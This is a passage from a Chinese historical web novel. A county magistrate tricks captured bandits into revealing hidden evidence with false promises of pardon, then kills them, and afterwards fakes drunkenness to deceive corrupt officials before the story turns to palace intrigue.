“正如你所说,干了这么大的事,那些官老爷岂能放过你们?”封砚初抬起眼皮,看向那张令人作呕的丑恶嘴脸。
“那是因为我们……”那马匪说到此处,立即住了口,骂道:“你想套我的话,妄想!”
可封砚初却不紧不慢,语气中带着漫不经心,“不过是藏起来罢了,让那些当官的有个忌讳。不过,你猜,本官为何如此轻松就找到你们的老巢?”
那名马匪不再是之前的得意,气愤道:“是他们!”
封砚初轻轻点头,“自然,其实你们说不说的,都不要紧。既然是藏起来的,那知道的人肯定不多,而你们已经被我一网打尽,只要都**,那东西便不会有重见天日的那一天,毕竟保管之人也要为自己的性命考虑。”
马匪脸上都是惊惧之色,这件事情牵扯的范围很广,恐怕那东西连寒州都走不出去。
封砚初观察到对方的神色发生了变化,继续加火,“说实话,这件事本官又不曾参与,与我有何关系?不过是想让你们立个功劳而已。你猜,你大哥若是知道有个活命的机会,他会让给你吗?”
“会的,一定会的,我大哥最讲义气!”那马匪的语气已没有之前的坚定。
“义气?平日里自然可以讲一讲,可人性都是自私的,在关键时刻还不都是为自己着想。”封砚初说到这里,朝一旁的狱卒摆摆手道:“将此人带下去,把马匪头子带上来,对方肯定愿意和我谈一谈。”
就在那名狱卒将绳索解下,要将其带走时,那名马匪连忙喊道:“慢着,慢着!你果真会饶我性命?”
“自然,只要你有立功表现,本官不仅会饶了你的性命,还会给你重新弄个户籍,办个路引,再赏你一笔钱财,到时候你就是清白之身,想去哪里都可以。”封砚初说话期间仔细地观察着对方,“人生还很长,将来拿着这笔钱娶妻生子,平安度日,岂不好?总不能为了旁人,就将性命交代在这里。”
“好!我可以说,但是让我如**你?”那名马匪谨慎道。
封砚初只说道:“你且等着。”不过一小会儿,他又回来了,手里还拿着新制的户帖,随手递给一旁的狱卒,吩咐道:“拿给他看看。”
当狱卒将户帖拿到马匪眼前,对方双目瞪的老大,就连呼吸都变得粗重许多,这就是他梦寐以求的东西!有了这个,他就不再是马匪,而是李四!
封砚初将对方的变化收入眼中,“本官已经做到了,只要你将该说的都说了,剩下的路引和钱财自然都会给你。”
马匪点点头,下定决心一般,“好!我说!那东西藏在铜麻县。至于具体的位置,你将路引和钱拿出来,等我出了漠阳县之后才能告诉你!”
“没问题,都好办,我这就让人先下去准备,你且先去歇着。来人,给他换身衣裳收拾收拾。”封砚初终于得到了大概的位置。
江行舟已经清楚封砚初的意思,所以等人离开后,便吩咐了衙役一番,然后挥手道:“去吧。”衙役领命而去。
封砚初嘴角扯出一抹笑,“我就不信他没给自己留后手。”
那名衙役到了马匪的关押之处后,朝看管之人道:“开门,开门!”
看管的狱卒好奇道:“怎么?那个没能熬住?”
衙役嗤笑一声,“什么呀,人家不仅招了,还有了新身份,换得自由身,以后还不是天高海阔随他去了,到时候娶妻生子,羡煞人哟。”
“那这些人……”
“留着也没有,自然是杀了!”
马匪老大冷哼一声,“少在这唬我,这种手法老子见多了!”
那名衙役气的指着对方道:“如何是我唬你?确实已经招了,可惜我离得远,没听清,只隐隐约约好像有一个什么麻
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,还是什么铜……哦!是铜麻县!”
马匪老大心里咯噔一下,他没想到对方还真的说了,脸上已呈灰败之色。
“这下信了吧?”那名衙役随后催促道:“赶紧拉出去杀了!免得将这里弄脏后,还得你们打扫。”
就在几人拖着这些马匪,准备押送至外头的刑场处置时,马匪老大居然看见老三已经换了一身干净衣裳,肩上还背着一个包袱,心中的想法再次得到了肯定。
随即连忙喊道:“慢着!我有话要说!”
一旁的衙役嘲讽着,“现在想说?晚啦。”
马匪老大冷哼道:“可很多事情只有我一人知道。”
“当真?”
“自然是真。”马匪老大再次被拖了回去。
此时,江行舟看向对方,脸上是一片不耐烦,语气中还带着不满,“听说你有话要说?那就赶紧说!真是麻烦。”
“大人!铜麻县,曲裳布庄的掌柜确实帮我们藏着重要的东西,可还有一个地方只有我知道……”那马匪老大说到这里话音一转,“不过我现在不能说,等我出了漠阳地界,自然会告诉你。”
“爱说不说,有没有你那东西都不重要,这些就已经够了!”江行舟冷哼一声,朝一旁的狱卒摆手道:“拖下去!”
“慢!慢!慢!”马匪老大见对方不在意,连忙喊叫,“我说,我说,但是你得让我看见户帖和路引!”
江行舟烦躁的吩咐道:“去给县令说一声,准备好了以后,你带来给他!”
过了一会儿,狱卒拿着户帖和路引进来,“大人,已经好了。”
江行舟拿过扫了两眼,随后将其丢给马匪老大,语气重了几分,“看看吧!”
马匪老大忙不咧迭的捡起来一瞧,赶紧将其放进怀里,随即长松一口气,“其余东西藏在铜麻县后街巷,种着一棵大柳树那家。”
江行舟看向对方,目光中带着审视,“你不会是哄我们的吧?万一说的是假的,到时候你是跑了,我们上哪去找你去?”
马匪老大指天发誓,“若我说的是假的,天打五雷轰!”
“哼,誓言这东西,如何能当真?”江行舟依旧不信。
第二百八十三章 答应的,自然要做到
马匪老大皱眉道:“那你想如何?”
江行舟给出了答案,“我会派人去一趟铜麻县,若是真的,便放你离开,若是假的,那你就别想离开漠阳县!”
马匪老大还没来得及张嘴,他又道:“如今主动权在我们手里,你不认也得认!”对方气的咬牙切齿,却也没办法。
于此同时,暮山已经骑着快马朝铜麻县赶去。
而另一个已经背上行囊的马匪,在离开城门好远之后,才将最终的答案说了,“铜麻县曲裳布庄。”
结果与马匪老大说的一模一样,封砚初听后嘴角弯起弧度,从腰间拿出一柄扇子轻笑着,“算你识相,并未说谎。”说到此处,目视前方,提醒道:“你该上路了。”
这个马匪听后骑着快马转身就跑,可他还未来得及跑远。封砚初打开折扇,扇子凌空旋转飞了出去,只听‘噗呲’一声,对方的脖颈上就出现了一抹红痕。
马匪双目瞪的凸起,眼中满是不可置信,捂着脖子直挺挺的从马上摔了下去!
随行的捕头赵章见此一幕,震惊地看向县令大人。他没想到对方竟然会武功,还这么高,而且压根没打算放过此人,他现在几乎已经可以看到马匪老大的结局,同时,对县令多了些畏惧。
扇子略过马匪,又重新回到封砚初手上,他先是瞧了瞧,见上头并未粘血,心中满意,最后看向一旁合不拢嘴的赵章道:“收拾了。”
赵章这才被这个声音叫的回过神来,连忙应道:“哦……哦,是,大人!”说罢,飞身下马,扛起马匪的尸身从一旁的深沟里扔下去。
暮山的动作很快,次日天还未亮,就带着东西匆匆赶回来。
“郎君,东西……拿到了!”暮山气喘吁吁的说着话,同时从身后背着的行囊里拿出证据。
封砚初接过迅速翻看了一遍,里头不仅有常鸣佑将军准备的证物,还有一些官员与马匪的通信往来,和分赃情况。
大牢内,马匪老大一晚上没睡。他心里忐忑不安,就担心这帮当官的反悔,这些人是最心狠手辣,不讲信用的!
直到一个狱卒打着哈欠,敲着牢门喊着,“唉唉唉!里头的,赶紧起来!”说着从腰间取下钥匙将门打开。
马匪老大紧张的看向狱卒,“是放我出去吗?”
狱卒不耐烦的骂道:“问什么问!上边怎么说,我怎么做!不想出去就继续待着。”
马匪老大连忙打着哈哈,赔笑道:“这就出去,这就出去。”他刚出大牢,就在门口碰见了一个穿着捕头衣裳的人。
知道今天有重要的事情,赵章当天晚上并未回去,而是待在衙房里将就了一晚。
当他看见马匪老大后,将一个包裹递给对方,叮嘱道:“趁现在天还未亮,赶紧走!一会儿天亮被人看见就不好了。”
马匪老大接过包裹稍微掂了掂,里头应该是一些衣物和钱财、甚至还准备了干粮,随即悬起来的心渐渐放下。
城门处,守门军土娃早就候着了,等人来了之后连忙将门打开一条缝,催促着,“快快快!赶紧的吧!”
马匪老大没想到对方还真的将自己放走了,出门骑着马就朝北边跑去。
城墙之上,封砚初正举着一张弓瞄着对方,只听‘嗖’的一声,箭矢从弦上射出,‘噗呲’一声。
马匪老大惊讶的看着胸口的箭,嘴里发出不甘心的呢喃声,“我就知道当官的不能信。”
封砚初看见对方倒下之后,吩咐着,“暮山,埋远点!”
“是!”暮山‘噔噔噔’跑出城,去处理尸体。赵章也没闲着,他需要将马迁回来。
孙延年见此一幕叹道:“你何必多此一举,
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既然拿到东西,直接杀了就是。”
封砚初嘴角噙着笑,轻轻摇头,“不!我答应过放他出漠阳县城,自然要做到,你就说我放没放他出漠阳县城?”
孙延年跟着笑道:“你确实放他出城了,奈何这马匪头子的马,跑的没有封县令的箭快。”说到此处,拍着好友的肩膀,“我还真以为,你要放这样的人一条生路呢。”
封砚初嗤笑一声,“怎么可能?他们恶贯满盈,罪行罄竹难书,若是真放了他们,我心关难过。”
“不过,那个东西可是烫手的山芋,你准备怎么办?”真相已经得知,新的烦恼接踵而至,孙延年有些担忧好友。
封砚初看向孙延年,意味深长道:“自然是交出去,也好让他们放心。”
孙延年点点头,神情严肃不已,叮嘱道:“如此也好,只是务必要让底下的人管好那张嘴,否则一旦泄露出去,即是你父亲是武安侯,他们暂时不会如何,后头一定会想方设法收拾你的!”
“这点你放心,若是连他们的口都封不住,那我这个官也白做了。”封砚初说出这话之时,神情分外认真。
“那就好!漠阳我也不算白来一趟,今日就要离开了。”孙延年说到这里不禁愁绪上心头,叹道:“唉,陛下新登基,根基不稳,西戎又有些蠢蠢欲动,我父亲已经催我了。”
幼时总在一起玩还不觉得,可是人一旦长大,为了自己的前程都各奔东西,更多的是离别。
“保重!”封砚初并未假客气的多留对方,两人是好友,无需这些虚头巴脑的东西。
“你也一样!”孙延年说完这话就下了城墙,城外不知什么时候已经有不少士兵在等着他。
随着马蹄声响起,连带着尘土也跟着起舞,天边渐渐泛起鱼肚白,一行人越来越远,直至看不见。
第二百八十四章 亲临漠阳县
当日下午,知府万致和、知州周之齐、同知刘升、以及守将郭文行几人浩浩荡荡地坐着马车来了。
封砚初、江行舟、胡主簿三人早已在城门处等候着。
“下官漠阳县令封砚初,拜见诸位大人。”
“下官漠阳县尉江行舟/主事胡照山,拜见诸位大人。”
自从万致和得知漠阳县令居然绕过寒州守将,私自向孙延年借兵除了马匪之后,就赶紧出发;他本不欲和封县令打交道,也不想来漠阳这个小破城,但事关紧要不得不来。所以,此刻这几人的态度是出奇的温和。
“封县令太多礼了,本官不过是前来视察罢了。”万致和话说的很客气。
但郭文行就很直接的问道:“听说漠阳县将盘桓此地多年的马匪剿了?”
封砚初正欲开口,同知刘升轻轻碰了碰郭文行,“这里不是说话的地方,先去县衙!”一行人就这么匆匆的朝县衙赶去。
万致和上次来过漠阳县,如今看见正在铺设的道路,心里暗暗衡量着封砚初,看来此人还是一心想治理好漠阳县的,否则不会有这么大的动作,心里不由有些后悔上次没有敲打敲打此人。
如果只有江行舟一个就不用怕。此人虽有些顽固,但到底身单力孤不足为惧,可以暗暗的收拾了。
但封砚初不同。此人是武安侯之子,又与京中权贵多有结交,更别说前些日子,其父封侍郎还来信特意叮嘱,说要多多指导其子的工作,要是有哪里做的不好,可以告知这个做父亲的。
之后他又特意打听后才得知,封县令的四叔乃是户部侍郎;表兄为兵部侍郎;外祖乃是大理寺卿,虽说不是亲的,但毕竟是姻亲;据说与平昭公主的儿子私交甚好;如今也证实了和孙延年也是至交好友,否则怎么可能请的动?而孙延年的父亲那可是戍边大将军孙知微!
面对这一层层的关系,即使他身为知府,态度也不好过于强硬。
进了县衙大门,刚坐下,连茶都没来得及喝一口,郭文行便开口质问,“封县令,你可知罪!”
封砚初面色平静,拱手问道:“不知下官所犯何罪?”
“明知故问!你竟然用私人关系借调边军剿匪,跨州实施军事,此乃大罪,是要杀头的!”郭文行之所以开口,就是吓唬吓唬,为了杀一杀对方的气焰。
封砚初是什么人,怎么可能被这些事吓到,依旧镇定自若,“郭大人何出此言?下官与孙延年乃是至交好友,他要去边关协助孙将军,途径漠阳县正好顺路探望下官。没想到那些马匪实在是胆大包天,光天化日之下竟然劫掠,孙少将军这才顺手将其除了。”
他说到此处,反问着,“郭大人不说感谢也就罢了,怎么还要问罪?这帮马匪在寒州为祸多年,剿匪乃是寒州守将之责,你未尽到职责,孙少将军可是帮了你的忙。”
郭文行一个武将如何说的过文科状元,更别说此事本就是他理亏,他气的指着对方,“你!”
知州周之齐赶紧打圆场,“大家都是寒州的父母官,千万别因为一点小事就伤了和气。”
同知刘升收到了知府万致和使来的眼色,笑呵呵道:“郭将军何必生气?封县令所言甚是,这帮马匪盘桓寒州多年,之前也不是没剿过,奈何这帮人太狡猾,又有马匹相助,好几次扑了个空。”
“这件事都快成了郭将军的心结了,此次也是因为没能亲自除了心头之患,这才有些气恼,还请封县令不要计较。”若是旁人,他才懒得这么客气,奈何封砚初虽是县令,可又与普通县令大有区别。
封砚初听后浅笑,“下官自是有容人之量,万不会因这点小事计较的。”
知府万致和清了清嗓子,看似说起了别的事情,“方才进城之时,瞧见漠阳县城正在修路,这是好事啊,不仅解决了路面雨天泥泞的问题,还能让百姓能补贴家用。”
说到这里佯装一叹,“本官远在寒州,漠阳县的乡绅为祸乡里,竟一直不知,你也算是给漠阳除了一害。”
知州周之齐立即奉承道:“这如何怪得了大人,漠阳县这几年连个县令都没有,只有一个主事勉强支持,好在如今朝廷派了县令和县尉下来,也能好好治理当地。”
同知刘升接话道:“可说呢,封县令这不就将本地的匪患解决了,百姓也能安
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心过日子。”
封砚初就这么静静的看着几人表演,直到这时,终于说到了正题上。
知府万致和仿佛刚反应过来一般,“不知孙少将军可在?他为寒州除此匪患,本官还想当面致谢呢。”
封砚初这才开口说话,“实在不巧,孙少将军今日一早便离开漠阳县了。”
知府万致和佯装可惜的叹气道:“唉,实在可惜,他辛苦剿匪,本官还说用些土产谢一谢,免得白辛劳一场。”
对方已经亲自上场表演,封砚初自是要配合,“大人不必担心,下官已经将缴来的东西分了一半给他,算是答谢。”
万致和捋着胡须,满意的点点头,“嗯,如此也好,只能等下次遇见再说。”
前面说了这么多,此时台子已经搭好了,同知刘升立即说起这次前来的真正目的,“这些马匪实在可恶,现在可还在大牢?正好我带了刑狱高手来,好好审一审他们!”说话之时还装作深恶痛绝的模样。
封砚初拱手道:“实在不巧,昨夜那些马匪试图**,已被就地斩杀。”
郭文行气道:“你竟灭口!”
封砚初依旧是那副淡淡的样子,“还请郭守将谨言慎行!灭口?下官与那些马匪无冤无仇,何必多此一举灭他们的口?”
万致和暗暗瞪了一眼郭文行,笑道:“郭守将,封县令这是为民除害,你虽是武将,但也不能太过于信口开河。”
郭文行知道自己说错了话,怏怏不快地闭上了嘴,撇开头不说话。
同知刘升不在意的摆摆手,继续道:“死就**,这些人罪大恶极早就该**。不过听闻此次缴获的东西里头,还有一部分是这些马匪多年的罪证,不知可否一观?”
封砚初听后一笑,可算是说到正题上了,“自然可以。”说罢,对一旁的江行舟道:“劳烦江县尉把那些东西拿来。”
没一会儿,江行舟就去而复返,抱着一堆东西进来,将其放在桌上。
封砚初指着这一堆东西,“就这些东西,委实不少,下官还未来得及看呢!”
此刻,这些人已经听不见他说的话,全都迅速上前开始翻看起来。
第二百八十五章 只管漠阳这一亩三分地
还时知府万致和最先反应过来,轻咳了两声提醒其余几人。
封砚初却无所谓的笑了笑,“无妨,几位大人也是关心马匪案的结果。”
同知刘升呵呵的尬笑,“是啊,是啊,这些人的罪行罄竹难书。”说罢开始翻看起来。
其余人皆松了一口气,只有知府万致和眉头一皱,看向封砚初,“就只有这些吗?”
封砚初也装傻,郑重点头,“是啊,就这些,还是从马匪的老巢里缴的,都在这了,可是有什么不对?”
面对这个回答,万致和总不能说马匪那里还有一份及其重要的东西,一开口岂不是等于直接承认,他们参与了常鸣佑之案;若非这帮马匪握着这个把柄,他们岂会容忍这么长时间,早就将其收拾了。
万致和瞬间变了脸,又恢复成以前那副和善的模样,“哦,没什么不对。封县令毕竟年轻,难免做事不周到,本官也是担心你会有所疏漏。”
封砚初拍着这一摞东西,肯定道:“大人请放心,那里被里里外外搜了个遍,都在此!”
同知刘升瞟了一眼那些证据,看似建议,可说出来的话不容置疑,“封县令,马匪已经剿灭,你为寒州除了一害,那些剿来的金银财帛你自行处置就好;这些东西留在此处也无用,不如让我们带回去,如何?”
封砚初脸上浮现出一片和煦的笑,看起来是那样的温文尔雅,旁人瞧了只觉得不愧是侯门公子,当真不同。
他轻轻点头,暗示着众人,“那是自然,这些东西于下官而言,并无用处。何况,下官到了此地为县令,自然只管漠阳县这一亩三分地,其余的,与我无关!”
同知刘升哈哈笑着,他很高兴对方的识趣,“如此更好。”随后看了看门外,“来人,将东西全部收起来!”
他们带来的人就在门口候着,听到命令进来,三下五除二的就将东西装进箱子里。
胡主簿见众人都已忙完,陪着笑,“时辰已经不早了,下官们特意为诸位大人备好了酒菜,还请赏光一用。”
漠阳地处偏远,哪有什么好东西,更何况这些人在寒州吃喝惯了的,根本瞧不上;守将郭文行更是一刻钟都不想多待,径直开口道:“你这漠阳县能有什么好东西……”
话音未尽,知府万致和看过去,一脸严肃的斥责,“郭大人,漠阳县辛苦准备一场,无论如何都是一片心意,岂能拒绝!”
同知刘升虽然心里有些疑惑,但还是配合着,“郭大人,大家都是寒州的父母官,能来此亦是缘分,更何况以后难免有些政务需要配合。”
封砚初不想在自己这里待客,嫌这些人糟践了地方,所以这次的酒宴设在了漠阳县最好的酒肆——醉香楼。即使这已经是最好的地方,也比不上寒州那些中档的。
醉香楼的掌柜正是王二娘。胡主簿早就提前打好了招呼,就在几人穿着便服到达门口,对方就已经候着了。
王二娘年岁约莫二十七八的样子,手里捏着一条香帕,脸上拘着笑,看到几人立即上前恭迎,“几位大人里边请,二楼雅间早已经备好了。”
说是雅间,其实只是靠窗辟出来的一个小隔间,里面十分简朴,不过胜在干净整洁。
知府万致和看见这个环境,不由得轻皱眉头,随后坐于上座,不过嫌弃的话到底没说出口。在来的路上,他已经提醒过其余几人,所以此刻他用眼神暗示了一下,他们就立即明白是什么意思。
说实话,这里的饭色确实称不上精致,味道也只能说还行,但对于这个偏远小城来说,已经是最好的了。
宴席必有酒。众人才开始用菜,知州周之齐奉承的话就来了,“封县令,没想到你身为侯府公子,竟然甘愿来到这穷乡僻壤历练,短短几个月就将漠阳治理的井井有条,我敬你一杯!”
封砚初如何不明白几人的小九九,回敬道:“下官不敢当,不过是尽了为官之责罢了。”
“哈哈哈,说得好!好一个为官之责!为此就应该再敬你一杯!”说这话的是同知刘升。
封砚初并未拒绝,一一举杯饮尽。
守将郭文行也举杯道:“封县令,我是一个武夫,行事难免粗枝大叶,方才说话有不周之处,还请见谅。”
就这
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样,你一杯,我一杯,没一会儿,封砚初就连续有不少酒下肚,连头也有些昏昏沉沉的,他扶着额头,醉眼朦胧道:“今日高兴,咱们再喝!”
一旁的江行舟劝道:“大人,你醉了。”
谁知封砚初甩过对方的手,说道:“我没醉,继续喝!”
同知刘升见状立即道:“江县尉,我瞧封县令醉的不轻,你且回去将他的小厮叫来,先把人扶回去。”
江行舟犹豫的看向醉醺醺之人,“可这……”
知州周之齐摆手道:“去吧,去吧,这里有我们看着,能有什么事。”
直到江行舟离开之后,知府万致和开口喊了几声,“封县令,封县令?你这剿灭马匪之事实在干得好,本官必定要上奏朝廷,嘉奖于你,你可高兴?”
封砚初冷哼一声,手指还在空中乱晃,“嘉奖?我不过是来历练,早晚回去,岂会在乎嘉奖?”说到这里,又笑着凑近问道:“你说话当真?”
“自然是真。”万致和说到这里装模作样的犹豫起来,“可是我瞧你这里头的东西不全啊,听说那马匪还藏了一些,你可知道是什么?”
“藏东西?那不可能!”封砚初忽的站直身体,摇着手否定,随即又似乎是想起来什么,“哦,不过确实奇怪,那马匪本来都要招了,可不知为何突然间宁死不从,还勾结狱卒**,最后被孙延年斩杀了,都杀了……”说到最后趴在桌子上,声音越来越小,直至听不见。
同知刘升听后皱眉道:“他说的是真是假?”
万致和略微松了口气,同时心里又隐隐藏着期盼,“不知道,不过等咱们的人打听回来,就知道真假了。”
知州周之齐却担心不已,“这姓封的一来漠阳,就将很多衙役换了。”
同知刘升却道:“这个倒不必担心,还有人没换下来,正好从他那里打探。”
守将郭文行不满的骂着,“这个胡照山真是吃了熊心豹子胆,越来越不听话了!早晚收拾了!”
同知刘升冷哼道:“收拾他?此人如今攀上了这姓封的,自然尽心尽力,巴不得正好调离漠阳。”
第二百八十六章 从今以后再无二心
没一会儿,打听消息的人便来了。
“如何?”旁人还未开口,守军郭文行却已经急不可耐的问出了口。
来人行礼回禀道:“大人,小人打听到了。说是那些马匪骨头特别硬,什么都没招,那天晚上也确实发生了**的事,而且小人还特意去大牢里看了,里头还有打斗的痕迹,错不了。”
同知刘升松了一口气,“大人,看来是真的了。”
知府万致和略微松了松眉,这件事要是捅出去,别说寒州,就连京城的人都要被牵扯进去。他心中虽仍有疑虑,但并未松松警惕。
随即看向还趴在桌子上的封砚初,神色复杂,“如此也好,大家都放心,但愿这不是他给咱们演的一场戏。”
同知刘升却道:“应该不会,自从原来的捕头被卸职,就是这个新任捕头接手给咱们透露消息,而且一直以来还是准确的,就像是这次孙延年来漠阳,以及剿匪的事都是他透露的,并未出现差错,再说钱也不是白拿的。”
“希望如此!这里待着也没什么意思,至于他到底藏没藏且看以后,若是没拿自然相安无事,若是拿了……哼!走吧!”万致和斜眼瞥向封砚初,嫌弃的扫了两眼这里的陈设,甩袖离开。
他一走,身后之人也都跟着一连串离开,只扔下封砚初一个人还趴在桌子上。
而掌柜王二娘虽不敢上来打扰,但也不敢就这么将人在上头不管,便派了小二在一旁候着。所以,当江行舟带着暮山来的时候,就见此一幕。
回到了居住的后衙。暮山刚将封砚初扶进屋里,他就猛地睁开双眼,哪里还有半点醉意。
江行舟自然清楚实情,立即道:“万知府他们一行人就这么直接出了醉香楼便走了,既没有打招呼,也没有让咱们相送。”说完,他看向外头已经消失的日光,现在天色已经擦黑,可见这些人是一刻都不想多待。
封砚初冷哼一声,神色间尽是讽刺,“目的已经达到,还留着做什么,自然迫不及待的离开这个穷乡僻壤之地。”
江行舟担忧的问,“他们可相信了?”
“其余人信了,万致和那个老狐狸倒还有些怀疑,不过碍于我的身份不好做什么罢了。若我之后依旧安安分分的,待在漠阳这个一亩三分地,无事发生也就罢了,但如果有所动作自然不会饶过我。”封砚初说这话之时语气淡然,这都是在他的预料之中。
江行舟听后皱眉道:“那岂不是说这个东西目前还见不得光!唉!真不知道什么时候,才能将这帮大晟的蠹虫收拾了!”
“且不急,陛下根基不稳,即使将这个东西拿上去也不过是白费,估计连朵水花也溅不起,先等一等。”封砚初虽不喜沈显瑞,但若是对方能趁机除掉这些蠹虫也是好的,起码百姓的日子会好过些。
他说到此处拍了拍对方的肩膀,“现在要紧的是今年的春耕。”
江行舟听后点点头,这事确实急不得,“也只能等一等了。”
而捕头赵章心中是一片惊惧,他以为自己隐藏的很好,没想到县令早就知道他就是给寒州那边传递消息的人,他不由得想起昨日从城外回来后发生的事情。
当县令将他叫过去之后,才明白自己确实很蠢,不过也不算蠢得不可救药,起码比守门军周大林强,知道权衡利弊。
“赵章,以前这漠阳县的衙役们就是露底的锅,本官重新招了一批新人,可知为何将其余人都换了,就单单留下你,还升你做了捕头?”
赵章后背冷汗直流,不敢去看县令的眼睛,低着头,声气也短了了几分,“小人不知,但大人有任何事只管吩咐,小人必定全力以赴,从今以后以大人马首是瞻,不敢有二心。”
“你倒还有几分机敏,本官不管以前你传了多少消息,可从今以后,你要按照我说的做,做不到也不要紧,你有你的去处!”封砚初说这话之时声音犹如粹着寒冰。<
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br>赵章如何听不出言外之意,他‘扑通’一声跪在地上,承诺保证道:“请大人放心,今后小人若是再有二心,必定不得好死,任由大人处置!”
“你最好说到做到!想必他们过来也要向你打听些事,我要你这么说……”封砚初看着眼前之人,将要透露的话说了一遍。
对方心里如何想,他并不在意,若是知道回头的那就可用,若是想撞南墙那便要承担后果,那些被辞退之人多的是想进来,幸而不算太笨。
赵章连忙行礼,斩钉截铁的承诺,“请大人放心,小人必定不会出纰漏。”
封砚初漫不经心的‘嗯’了一声,“记住你说的话,今晚就别回去了,明日一早亲自送一送那个马匪头子,至于要准备的东西,一会儿朝郑伟拿。”
“是,大人!”赵章领命后,恭敬地退了出去。
直到离开了房间,他这才有心思想别的。之前还以为自己是受到了重用,大人这才带他去跟着那个马匪,现在才明白原因。
径直去了后衙,他就找上了郑伟,“郑哥,郑哥!”
赵章来的时候,郑伟正在给柳婆子发明日的买菜钱,“赵捕头?”
郑伟赶紧说道:“大人命我来朝你拿东西。”
“哦,早就准备好了。”郑伟完这话,从下人房将包袱递了过去。
赵章接过去打开一瞧,里头是一身粗布衣裳以及一袋银币,正欲将包袱重新绑起来。
柳婆子瞥见后却道:“赵捕头,你这是要出远门吗?怎的也不带些干粮路上用,万一前不着村后不着店的去哪买?”
郑伟经过这一提醒,心中不由懊恼自己没想到此处,立即去厨房随意拿了几张饼塞了进去,“多谢柳妈妈提醒,我险些犯了大错。”
柳婆子接过买菜钱,不在意的笑道:“这有什么,你们男人家哪里会在意这些细节。”说完小心翼翼地将钱收进荷包里离开,她要去给郎君做晚饭了。
第二百八十七章 做好自己的事情就行
自从万知府他们回到寒州之后,接下来的日子仿佛归于平静,这些人好像真就当做那件事情已经过去了。可双方都明白,这不过还是在观察。
封砚初也只当没有别的发现,每日埋头处理着漠阳县的事务,这是他真真正正开始接触基层,是积攒经验的好时机。
就在县城的石板路修好之际,随着一场春雨落下,人们赶紧抓住时机,忙碌在田间地头,开始春耕。
与往年不同,今年的百姓格外有干劲,不仅是悬在他们头顶上的那些大山已经没了,还是好多人都分到了地,虽然不知收成几何,但起码有了生的希望。
封砚初也与去年不同,往年春耕忙碌之景象,他要么埋头苦读,要么在京城衙门里忙着那些文书工作,侯府的富贵让他不用低头去瞧,自然也就从未见过这个场景。
如今,他换上了普通的棉布衣裳,走在田间地头,真正去体会,主动向那些百姓请教,了解真正的民生情况。
此刻,他切身体会到生产的落后,一户人家能拥有一头耕牛是多么一件了不得的事情。可大多数都是人力,即便如此,他们都是高兴的。因为漠阳县来了一个为百姓着想的好官!除了修路,这是他第二次从百姓口中听到赞誉的话。
午时,太阳高照,他们并不会回去休息,而是为了节省时间,直接在地头上就用晌午饭;家里情况好的会夹杂一些杂粮,情况差些的只有一碗能照见人影,数的清米粒的稀饭。可即便如此,那些人黑黝的脸上,笑容也是幸福的,原来他们想要的如此简单。
回去的路上,封砚初走在前头,郑伟牵着马走在后头,絮叨着上个月花了多少钱,还剩余多少,最后还咂咂嘴,“郎君,这漠阳县到底地处偏远,东西便宜,小的原本还担心钱不够呢;而且自从您来到这里,也节俭许多。”
“节俭?”封砚初没想到郑伟会得到这个结论。
郑伟点头肯定,“是啊,节俭。除了您身上这件棉布的,您开春后,连一件新衣裳都没做,穿的都是往年的;而且到了这里,也没有了那些人情交际,这上头也省下不少;至于其他的,您用的也都是旧物,现在最大的开销就是吃饭。”
两人就这么你一言,我一语的往回走。
城门处,土娃依旧在,他身边换了一个新的守门军,之前的周大林,举家搬去了寒州。
漠阳县城就这么大一点地方,几乎所有的人都认识封砚初。若说以前还有些拘谨,可自从他来了之后,办了一件又一件的好事,深受百姓喜爱。
所以,自打进城的那一刻,很多人都会朝他问好,他有时候也会驻足与这些人聊上几句,很多消息就是这么聊出来的。
刚进衙门,就看到暮山正在给一帮人训练武艺,倒是不要求多高的功夫,能学个一招两式就行。这些人里头有认真学的,也有那些怕吃苦敷衍的,封砚初对此并不强求,全看各人选择。
漠阳县的文风并不盛行,自从抄了那些乡绅之后,他们家的书也一并被征用;还用这些书建了一个书阁,学生可以借阅,但不能带离县学。封砚初用这钱重开了县学,不仅聘请了两
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位秀才教书,而且凡漠阳县的孩子都可以免费来读。
吃完午饭,但凡这一日事情不多,他都会去县学给那些孩子教上一堂课,不仅限于读书识字;有时候暮山得空,也会去给孩子们教一些拳脚功夫。
如今的漠阳县正在一步一步的变好。
话说沈显瑞不过才登基几个月,之前干了不少糊涂事。时至今日这才清楚,即使身在皇位也不是他任性的地方,自己之前有些飘了,更何况他并未完全掌握兵权,朝中大臣多数都处在一个审视的状态,所以很多事还要靠申家。
君王之道并没有那么简单。此刻,他也有些后悔自己的小肚鸡肠,明白自己从一开始就将路走窄了,这才导致今时今日的局面。他以为自己装的很好,可全部赤裸裸的暴露在外,百官都瞧在眼里。
大家都是人精,君王寡情刻薄,自然不敢效忠,只做好自己的事情就行。毕竟前肃王世子沈在云、与状元郎封砚初都是前车之鉴,众人明面上不说,暗地里都觉得皇帝过河拆桥,毕竟这两人并未没犯错。
帮扶过陛下的都落得如此下场,那么他们这些没绑过的,与陛下有纠葛的又当如何?
以前申家还有所保留,自从皇后娘娘怀有身孕之后,这才好了很多;所以,即使宫中还有其他妃嫔生子,沈显瑞也不会看重,这不仅仅是做给申家看的,更是做给天下人看的,毕竟嫡庶尊卑分明。
申家的女儿受过精心教养。每当沈显瑞心有不快,或者烦躁之时,她都会劝一劝,外面无人不称一声,有贤后风范。
第二百八十八章 你弟弟也是这个意思
这贤后的称呼并非虚妄,申皇后确实很好的缓解了,陛下与大臣之间紧张的气氛。就比如武安侯封简宁的官位就是她劝的,这才让陛下彻底打消心思。
自从申皇后怀有身孕后,多了一些慈母之心,为人处事更显宽和大度,即使是沈显瑞,遇事也喜欢和她说两句。
“皇儿今日可乖?”沈显瑞下朝回来,心情难得不错,他轻轻抚摸着皇后的肚子问道。
申皇后听闻笑言,“才三个月而已,陛下也太着急了些。”
“他是朕的嫡子,自然想要给他最好的。先生要好好选,那些迂腐的可不要,他是将来的太子,更重要的是要**得为君之道。”沈显瑞至今都觉得他之所以面对群臣吃力,就是因为自己幼时,父皇根本不重视,导致那些人只教什么是君子,其余的轻轻带过。
申皇后眼底划过一抹深意,嘴上依旧含着浅笑,“他是男是女还不知道呢,哪里就说上太子了,如果是女儿呢?陛下会不喜吗?”
沈显瑞目光落在皇后的肚子上,语气里带着坚定,“都是朕的骨血怎会不喜,如果是女儿,再生就是了,嫡子的年岁不宜太小。”
申皇后自然知道,陛下说的是先帝的黎皇后和庄王。当年庄王太过年幼,一切都靠着母亲和黎家,与几个年长的皇子之间争斗不休,以至于被逆王所杀。
